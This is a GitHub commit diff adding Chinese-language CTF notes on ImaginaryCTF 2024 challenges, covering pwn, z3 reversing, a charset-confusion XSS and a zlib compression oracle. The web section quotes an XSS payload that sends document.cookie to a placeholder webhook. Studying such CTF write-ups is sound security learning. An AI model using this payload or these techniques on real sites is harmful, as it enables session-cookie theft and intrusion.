Skip to content

Commit

Permalink
Update
Browse files Browse the repository at this point in the history
  • Loading branch information
C0nstellati0n committed Jul 24, 2024
1 parent 5f5caa1 commit 0ae611b
Show file tree
Hide file tree
Showing 3 changed files with 26 additions and 2 deletions.
4 changes: 3 additions & 1 deletion 笔记/Pwn/Pwn笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -2019,4 +2019,6 @@ fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
- 题目作者非常详细的wp: https://surg.dev/uiuctf2024/
会导致uaf。`'a`这种东西是rust里的lifetime variable,用来标记某个变量的lifetime。使用前需要在尖括号`<>`定义,名字无所谓。作用是返回一个指向参数的指针,过程中修改其lifetime,比如从`b'`修改到`a'`。问题是,假如`b'``a'`短呢?意味着我们仍然保留着已经被free的变量的指针。rust应该阻止这段代码编译的,但由于这个bug,只要这么写就不会阻止
208. [vector-overflow](https://octo-kumo.me/c/ctf/2024-ductf/pwn/vector-overflow)
- 通过栈溢出修改c++里的vector结构。主要是用gdb观察vector的构造。见 https://stackoverflow.com/questions/52330010/what-does-stdvector-look-like-in-memory
- 通过栈溢出修改c++里的vector结构。主要是用gdb观察vector的构造。见 https://stackoverflow.com/questions/52330010/what-does-stdvector-look-like-in-memory
209. [onewrite](https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Pwn/onewrite)
- libc 2.35,只能往任意地址写一次任意内容,获取RCE。预期解是setcontext32。我还试了fsop,不知道为啥之前记的模板都用不了(怀疑某些地址不对,不过这些地址都没有符号,调试也是个问题),再记一个: https://gist.github.com/C0nstellati0n/c5657f0c8e6d2ef75c342369ee27a6b5#onewrite 。另外用pwntools里的FileStructure时,发现`context.arch`很重要,默认是i386,要是文件结构写的是amd64的内容但是没换arch,转成bytes时就会报错
3 changes: 3 additions & 0 deletions 笔记/Reverse/Reverse笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -1020,6 +1020,9 @@ main()
- 如何利用z3获取多个不重复的解
- 更复杂的解法: https://gist.github.com/C0nstellati0n/a066c450ed5d4c8ffbb0c1328283fe14#cagnus-marlsen 。思路是把整个grid看成一个64 bit的BitVec,然后按照题目要求的方式切成多块并检查(自己做的时候完全没想到这个思路……看到这种题直接就想着用64个1 bit的bitvec,可是这样就很难写那些把几个bit看成一个整体的约束了。整体看成一个的话一个一个切就完事)。涉及: UGE, UGT, ULT, BitVec, BV2Int, Concat, Extract, Solver, Sum, ZeroExt,如何定义Slice函数,如何计算bitvec的hamming weight( https://stackoverflow.com/a/61331081 )
- K-out-of-N constraint(PbEq/PbLe/PbGe): https://gist.github.com/C0nstellati0n/a066c450ed5d4c8ffbb0c1328283fe14#archventure-time
- [watchdog](https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Reversing/watchdog)
- 又是被z3坑的一天……本来都逆出来逻辑了,是个多项式求值,给定几组(x,y)后逆出系数。本来说用Lagrange,结果发现程序的里的y值只能保存64bit,不是真正的结果。于是用z3,明明都按位或了,结果怎样都不对。搜了一下可能是z3使用带符号数的原因,不过不确定。官方解法是把它看成个线性模方程组,64位整数用模`2**64`代替
- 其他解法(sage线性方程组求解和正确z3脚本): https://gist.github.com/C0nstellati0n/a066c450ed5d4c8ffbb0c1328283fe14#watchdog
115. [Conquest of Camelot](https://black-frost.github.io/posts/sekai2023/)
- OCaml语言binary逆向。这种语言的函数调用约定比较奇怪,ida可能无法生成伪代码。另外,这种语言对数组的操作会自动添加大量的bound checking,函数体会看起来很复杂但逻辑可能很简单
- 參考 https://mcfx.us/posts/2023-09-01-sekaictf-2023-writeup/#conquest-of-camelot ,(ida里)calling convection应该为`__int64 __usercall func<rax>(__int64 arg0@<rax>, __int64 arg1@<rax>, __int64 arg2@<rdi>)`
Expand Down
21 changes: 20 additions & 1 deletion 笔记/Web/Web笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -175,6 +175,22 @@
- [IN-THE-SHADOWS](https://blog.huli.tw/2024/06/28/google-ctf-2024-writeup),[官方wp](https://github.com/google/google-ctf/tree/main/2024/quals/web-in-the-shadows)
- css injection。目标是绕过过滤的情况下一次注入泄漏出[shadow dom](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM)之外的元素。“逃逸”shadow dom可以用`:host-context`或者`:host`。绕过过滤则是由于chromium的一个bug(现在修了),主要是在re-serialization某个style sheet(或者说取出某个css rule的cssText?)时,单引号被去掉了,导致css的含义改变,可以偷渡`@import`进去
- 单注入点css injection泄漏内容。第一篇wp用了trigram的做法,个人感觉官方wp的做法更好,见 https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point
- [forms](https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Web/forms)
- Content-Type header没有设置charset导致的xss。见这篇文章: https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/ 。浏览器一般按照这样的顺序决定当前文档使用的字符集:
1. HTML文档开头的Byte-Order Mark(这玩意的xss见上面的secure-notes)
2. Content-Type header里的charset属性
3. HTML文档里的`<meta>`标签
4. 都没有的话就由浏览器自动检测。有个字符集ISO-2022-JP非常特殊,首先它有四种escape sequences切换当前使用的字符集(文章里可以看到是什么,只要浏览器看见它们就会切换到对应的字符集)。其中一种`JIS X 0201 1976`和ascii基本相同,而重要的不同点在于`\`,在`JIS X 0201 1976`下会被看成日元的符号,反之亦然
- 这道题作者的payload是`{'title': 'Totally not a sus title\x1b(J', 'questions': '[["Are you an impostor?\\"}];fetch(`webhook?${document.cookie}`).then(console.log);const foo=[//", true]]'}`,然后让admin打开`/form/fill/id`,内容为:
```html
<title>Totally not a sus title(J</title>
...省略不重要的内容...下面这块是源码里base.html的内容
<script>
const messages = [
{category: 'error', message: "The following question is required: Are you an impostor?\"}];fetch(`webhook?${document.cookie}`).then(console.log);const foo=[//" },
];
```
最开始的title切换了当前的charset,因此其他的都正常渲染,除了那个`\`。这个符号本来是拿来转义后面的`"`的,没了后我们剩下的内容就逃逸出去了,成功执行xss payload。不过我这里用chrome打开没见到payload执行,可能因为bot用的是firefox

## SSTI

Expand Down Expand Up @@ -3851,4 +3867,7 @@ new URL("//a.com","http://b.com")
- 预期解: https://crocus-script-051.notion.site/readme2-1daa048e6c1a49e5993cad2ab6371292 。Bun有个特别的性质,会把Host header的值拼接进req.url
479. [Pwning en Logique](https://siunam321.github.io/ctf/ImaginaryCTF-2024/Web/Pwning-en-Logique/)
- [SWI-Prolog](https://www.swi-prolog.org/)环境搭建的网站
- prolog语言格式化字符串漏洞。如果攻击者可以控制[format](https://www.swi-prolog.org/pldoc/doc_for?object=format/2)函数的格式符和参数,就能执行任意函数
- prolog语言格式化字符串漏洞。如果攻击者可以控制[format](https://www.swi-prolog.org/pldoc/doc_for?object=format/2)函数的格式符和参数,就能执行任意函数
480. [heapnotes](https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Web/heapnotes)
- 说是xs leak,但好像和xss一点关系都没有。主要是利用了flask的redirect函数的目标url有长度限制,若超出了这个限制就不会返回200,而是404(和[这个情况](https://stackoverflow.com/questions/67620929/url-limit-in-flask)有点像)
- 这题还有点zlib compress oracle的成分。题目会把包含flag的username和攻击者可控制的内容一起压缩,然后把结果放到redirect的url里。利用zlib遇到相同字符压缩后长度会变短的特点,一个字符一个字符地猜flag。如果猜对了,压缩的内容变短,就能成功redirect;反之则返回404

0 comments on commit 0ae611b

Please sign in to comment.